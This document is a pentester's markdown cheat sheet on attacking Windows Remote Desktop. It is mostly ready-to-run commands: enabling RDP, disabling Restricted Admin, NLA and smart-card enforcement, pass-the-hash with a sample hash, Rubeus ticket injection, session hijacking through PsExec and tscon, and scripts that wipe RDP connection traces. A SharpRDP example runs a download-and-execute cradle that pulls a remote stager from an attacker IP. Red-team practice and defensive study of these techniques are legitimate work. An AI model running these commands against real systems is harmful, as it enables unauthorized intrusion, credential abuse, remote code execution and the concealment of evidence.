# RDP

* <https://syfuhs.net/how-authentication-works-when-you-use-remote-desktop>
* <https://posts.specterops.io/revisiting-remote-desktop-lateral-movement-8fb905cb46c3>
* <https://blog.devolutions.net/2025/03/using-rdp-without-leaving-traces-the-mstsc-public-mode/>

Look for terminal servers in a domain:

```powershell
PS > Get-ADComputer -LDAPFilter "(&(objectClass=computer)(memberOf=CN=Terminal Server License Servers,CN=Builtin,$((Get-ADRootDSE).rootDomainNamingContext)))" | select dNSHostName
```

## Terminal Services API

### qwinsta

* <https://blog.harmj0y.net/powershell/powerquinsta/>
* <https://0xv1n.github.io/posts/sessionenumeration/>
* <https://github.com/0xv1n/RemoteSessionEnum>

## Enable RDP

With meterpreter:

```
meterpreter > run getgui -e
```

With `reg.exe`:

```
Cmd > reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

With PowerShell:

```
PS > Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 0
PS > Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
PS > Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Value 1
```

Manually add firewall rule (if necessary):

```
Cmd > netsh advfirewall firewall add rule name="Allow Remote Desktop" dir=in protocol=TCP localport=3389 action=allow
PS > New-NetFirewallRule -DisplayName 'Allow Remote Desktop' -Profile @('Domain', 'Private') -Direction Inbound -Action Allow -Protocol TCP -LocalPort @('3389')
```

## Restricted Admin

* <https://www.kali.org/penetration-testing/passing-hash-remote-desktop/>
* <https://blog.ahasayen.com/restricted-admin-mode-for-rdp/>
* <https://labs.f-secure.com/blog/undisable/>
* <https://shellz.club/pass-the-hash-with-rdp-in-2019/>
* <https://github.com/GhostPack/RestrictedAdmin>
* <https://www.pentestpartners.com/security-blog/abusing-rdps-remote-credential-guard-with-rubeus-ptt/>

RDP with [PtH](http://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/): RDP needs a plaintext password unless Restricted Admin mode is enabled.

Check / enable / disable with PowerShell:

```
PS > Get-ChildItem "HKLM:\System\CurrentControlSet\Control\Lsa" -Recurse
PS > Get-Item "HKLM:\System\CurrentControlSet\Control\Lsa"
PS > New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value 0 -PropertyType "DWORD"
PS > Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin"
PS > Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value 1
PS > Remove-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin"
```

Check / enable / disable with Impacket:

```
$ reg.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.1 query -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -s
$ reg.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.1 add -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v DisableRestrictedAdmin -vt REG_DWORD -vd 0
$ reg.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.1 query -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v DisableRestrictedAdmin
$ reg.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.1 add -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v DisableRestrictedAdmin -vt REG_DWORD -vd 1
$ reg.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.1 delete -keyName 'HKLM\SYSTEM\CurrentControlSet\Control\Lsa' -v DisableRestrictedAdmin
```

Enable with CME:

```
$ cme smb 192.168.1.11 -u Administrator -H fc525c9683e8fe067095ba2ddc971889 -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
```

Usage:

```
$ xfreerdp /pth ...
Cmd > mstsc.exe /restrictedAdmin ...
```

## Remote Credential Guard

* <https://learn.microsoft.com/en-us/windows/security/identity-protection/remote-credential-guard>
* <https://www.pentestpartners.com/security-blog/abusing-rdps-remote-credential-guard-with-rubeus-ptt/>

```
Cmd > ksetup /addkdc MEGACORP.LOCAL dc01.megacorp.local
Cmd > ksetup /setrealmflags MEGACORP.LOCAL tcpsupported
Cmd > shutdown -r -t 0
Cmd > Rubeus.exe asktgt /user:snovvcrash /domain:megacorp.local /dc:dc01.megacorp.local /aes256:<AES_KEY> /opsec /nowrap /ptt
Cmd > Rubeus.exe asktgs /ticket:<TICKET> /service:TERMSRV/PC01.megacorp.local,CIFS/PC01.megacorp.local,HOST/PC01.megacorp.local /domain:megacorp.local /dc:dc01.megacorp.local /nowrap /ptt
Cmd > mstsc.exe /remoteGuard ...
```

## Smart Card Authentication

Disable enforced smart card authentication during interactive logon:

```
PS > Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\policies\System" -Name "scforceoption"
PS > Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\policies\System" -Name "scforceoption" -Value 0
```

### Emulating PIV

* <https://www.pentestpartners.com/security-blog/living-off-the-land-ad-cs-style/>
* <https://github.com/CCob/PIVert>
* <https://twitter.com/an0n_r0/status/1560699385545195521>
* <https://twitter.com/snovvcrash/status/1561020682242326528>

## NLA

Disable NLA:

```
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").UserAuthenticationRequired
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)
```

## Hijack RDP Sessions

* <http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html>
* <https://www.ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement>
* <https://qtechbabble.wordpress.com/2017/04/07/use-quser-to-view-which-accounts-are-logged-inremoted-in-to-a-computer/>

Run Task manager as LocalSystem to hijack other users' sessions:

```
PS > .\PsExec64.exe -si C:\Windows\System32\Taskmgr.exe -accepteula
```

The same can be achieved with `tscon.exe`:

```
PS > .\PsExec64.exe -s \\localhost cmd
PS > quser.exe
PS > cmd /k tscon.exe <ID> /dest:<CURRENT_SESSIONNAME>
```

### Tools

* <https://github.com/fortra/impacket/blob/master/examples/tstool.py>
* <https://github.com/netero1010/RDPHijack-BOF>

## Wipe Connection Artifacts

* <https://devolutions.net/blog/2025/03/using-rdp-without-leaving-traces-the-mstsc-public-mode/>

```powershell
cmdkey /list | ? { $_ -Match "TERMSRV/" } | % { $_ -Replace ".*: " } | % { cmdkey /delete:$_ }
Remove-Item -Path "$Env:LocalAppData\Microsoft\Terminal Server Client\Cache" -Recurse -ErrorAction SilentlyContinue
Remove-Item -Path "$Env:LocalAppData\Microsoft\Terminal Server Client\Cache" -Recurse -ErrorAction SilentlyContinue
Remove-Item -Path "HKCU:\Software\Microsoft\Terminal Server Client\Default" -Force -ErrorAction SilentlyContinue
Remove-Item -Path "HKCU:\Software\Microsoft\Terminal Server Client\Servers" -Recurse -Force -ErrorAction SilentlyContinue
Remove-Item -Path "HKCU:\Software\Microsoft\Terminal Server Client\LocalDevices" -Recurse -Force -ErrorAction SilentlyContinue
```

## Tools

### SharpRDP

* <https://github.com/0xthirteen/SharpRDP>
* <https://github.com/S3cur3Th1sSh1t/SharpRDP>

```
Cmd > .\SharpRDP.exe computername=srv01 command="iex(new-object net.webclient).downloadstring('http://10.10.13.37:8080/grunt.ps1')" username=megacorp\snovvcrash password=Passw0rd!
```

### SharpRDPHijack

* <https://github.com/bohops/SharpRDPHijack>

### TakeMyRDP

* <https://github.com/TheD1rkMtr/TakeMyRDP>
* <https://github.com/nocerainfosec/TakeMyRDP2.0>
